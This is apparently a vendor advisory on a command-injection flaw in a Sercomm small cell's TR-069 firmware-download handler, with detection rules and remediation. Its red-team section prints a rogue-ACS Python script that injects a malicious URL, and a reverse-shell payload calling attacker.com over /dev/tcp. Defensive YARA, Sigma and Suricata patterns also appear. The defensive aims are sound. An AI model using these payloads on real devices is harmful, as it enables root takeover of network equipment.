CVE-2025-67113
Executive Summary
CVE-2025-67113 is a critical OS command injection vulnerability in the CWMP (CPE WAN Management Protocol) client of the Sercomm SCE4255W Small Cell (also known as the FreedomFi Englewood). The flaw resides in the /ftl/bin/cwmp binary, which handles TR-069 (CWMP) communications. A remote attacker who controls the ACS (Auto-Configuration Server) endpoint can inject arbitrary operating system commands via a crafted Download URL. Because the URL is passed unescaped into the firmware upgrade pipeline, the injected commands execute with root privileges. This gives the attacker full control over the affected device.
The vulnerability is particularly dangerous because it can be exploited without authentication, and the device is often deployed in edge or outdoor locations with limited physical security. The vendor has released a patched firmware version (DG3934v3@2308041842), but many devices may remain unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device. The supply chain risk is that compromised devices can be used as a pivot point into a carrier's or enterprise's internal network.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The attacker only needs network access to the ACS endpoint.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The device automatically processes the malicious URL.
- Scope: Unchanged (S:U) – The exploit does not cross a trust boundary.
- Confidentiality Impact: High (C:H) – Full device compromise leads to data exfiltration.
- Integrity Impact: High (I:H) – The attacker can modify firmware and configurations.
- Availability Impact: High (A:H) – The device can be bricked or used in DDoS attacks.
Threat Level: Critical. The combination of remote, unauthenticated exploitation with root-level access makes this a top-priority vulnerability for any organization using the affected device.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection in the CWMP client. The TR-069 protocol allows an ACS to instruct a CPE (Customer Premises Equipment) to download a firmware image from a specified URL. The cwmp binary on the Sercomm device constructs a shell command to perform this download, but it fails to sanitize the URL parameter.
Vulnerable Code Path (Conceptual):
The cwmp binary likely uses a function like system() or popen() to execute a command similar to:
wget -O /tmp/firmware.bin <URL>
If the URL contains shell metacharacters (e.g., ;, |, $()), they are interpreted by the shell. For example, an attacker could set the Download URL to:
http://attacker.com/firmware.bin;reboot
This would cause the device to download a file and then execute the reboot command.
Root Cause: The lack of input validation and the use of a shell to execute the download command. The URL should be passed as a single argument to a function like execve() or properly escaped using escapeshellarg().
Attack Flow:
- The attacker sets up a rogue ACS server or compromises a legitimate one.
- The attacker sends a TR-069
Downloadrequest to the target device with a malicious URL. - The device's
cwmpclient processes the request and constructs a shell command with the unsanitized URL. - The injected command executes with root privileges.
- The attacker gains a reverse shell, installs malware, or exfiltrates data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void handle_download(char *url) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "wget -O /tmp/firmware.bin %s", url);
system(cmd);
}
Patched Code (Conceptual):
void handle_download(char *url) {
// Validate URL format
if (strstr(url, "http://") != url && strstr(url, "https://") != url) {
log_error("Invalid URL");
return;
}
// Use execve to avoid shell injection
char *args[] = {"/usr/bin/wget", "-O", "/tmp/firmware.bin", url, NULL};
execve("/usr/bin/wget", args, NULL);
}
The patched version validates the URL prefix and uses execve() instead of system(), which does not invoke a shell and thus prevents command injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Sercomm SCE4255W device (firmware < DG3934v3@2308041842).
- A rogue ACS server (e.g., using
easycwmpor a custom Python script). - Network connectivity between the ACS and the target device.
Exploitation Steps:
Set up a rogue ACS server:
# simple_acs.py - Rogue ACS for CVE-2025-67113 from http.server import HTTPServer, BaseHTTPRequestHandler import urllib.parse class ACSHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) # Inject malicious Download URL malicious_url = "http://attacker.com/payload.bin;reboot" # Send TR-069 Download response response = f"""<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <cwmp:Download xmlns:cwmp="urn:dslforum-org:cwmp-1-0"> <CommandKey>Download</CommandKey> <FileType>1 Firmware Upgrade Image</FileType> <URL>{malicious_url}</URL> <Username></Username> <Password></Password> <FileSize>0</FileSize> <TargetFileName></TargetFileName> <DelaySeconds>0</DelaySeconds> <SuccessURL></SuccessURL> <FailureURL></FailureURL> </cwmp:Download> </soap:Body> </soap:Envelope>""" self.send_response(200) self.send_header('Content-Type', 'text/xml') self.end_headers() self.wfile.write(response.encode()) server = HTTPServer(('0.0.0.0', 8080), ACSHandler) print("Rogue ACS running on port 8080...") server.serve_forever()Trigger the download: The device will periodically poll the ACS. If you can force a connection (e.g., by sending a
ConnectionRequest), the device will process the malicious URL.Observe the result: The device will execute the injected command (e.g.,
reboot). For a more sophisticated attack, use a reverse shell payload:http://attacker.com/payload.bin;bash -i >& /dev/tcp/attacker.com/4444 0>&1
Blue Team
Detection and Response:
- Monitor TR-069 traffic: Look for anomalous
Downloadrequests with suspicious URLs containing shell metacharacters (;,|,$,`). - Network segmentation: Isolate Small Cell devices on a separate VLAN with strict egress filtering. The ACS should only be able to communicate with a dedicated management server.
- Honeypot ACS: Deploy a fake ACS to detect scanning or exploitation attempts.
- Firmware integrity: Regularly verify the firmware hash of all devices. Use a tool like
sha256sumto compare against known good values. - Log analysis: Enable detailed logging on the device (if possible) and monitor for unexpected process execution (e.g.,
wgetwith unusual arguments).
Indicators of Compromise (IOCs)
Network IOCs:
- TR-069
Downloadrequests with URLs containing shell metacharacters. - Outbound connections from the device to unknown IPs on ports 80, 443, or 4444 (reverse shell).
- DNS queries for domains associated with known malicious ACS servers.
- TR-069
Host IOCs:
- Unexpected processes:
bash,sh,nc,wgetwith suspicious arguments. - Modified firmware files in
/tmp/or/ftl/. - New cron jobs or startup scripts.
- Unusual entries in
/var/log/messagesor/ftl/log/.
- Unexpected processes:
File IOCs:
/tmp/firmware.bin(if the download succeeded but the file is not a valid firmware image)./tmp/.backdooror similar hidden files.
Detection Engineering
YARA Rule
rule CVE_2025_67113_CWMP_Injection {
meta:
description = "Detects OS command injection attempts in TR-069 Download URLs targeting Sercomm SCE4255W"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67113"
severity = "critical"
strings:
$cwmp_download = "<cwmp:Download" nocase
$url_tag = "<URL>" nocase
$shell_meta = /[;&|`$(){}]/
condition:
$cwmp_download and $url_tag and #shell_meta > 0
}
Sigma Rule
title: TR-069 Download with Suspicious URL
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects TR-069 Download requests containing shell metacharacters in the URL, indicative of CVE-2025-67113 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
http.method: 'POST'
http.uri: '/cwmp' # Adjust based on actual ACS path
http.request_body|contains: '<cwmp:Download'
http.request_body|contains: '<URL>'
http.request_body|re: '.*[;&|`$(){}].*'
condition: selection
falsepositives:
- Legitimate firmware updates with complex URLs (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67113 TR-069 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cwmp"; http_uri; content:"<cwmp:Download"; http_client_body; content:"<URL>"; http_client_body; pcre:"/[;&|`$(){}]/R"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update firmware: Upgrade all Sercomm SCE4255W devices to firmware version DG3934v3@2308041842 or later.
- Isolate devices: Place Small Cell devices on a dedicated management VLAN with strict firewall rules. Only allow outbound connections to a known, trusted ACS server.
- Disable CWMP if not needed: If TR-069 management is not required, disable the CWMP client on the device.
Long-term Mitigations:
- Input validation: The vendor should implement proper input sanitization for all TR-069 parameters, especially URLs.
- Use of safe APIs: Replace
system()calls withexecve()or similar functions that do not invoke a shell. - Code signing: Ensure that firmware updates are cryptographically signed and verified before installation.
- Network monitoring: Deploy IDS/IPS rules (like the Suricata rule above) to detect exploitation attempts.
- Vendor communication: Work with Sercomm to ensure a secure firmware update mechanism is in place.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.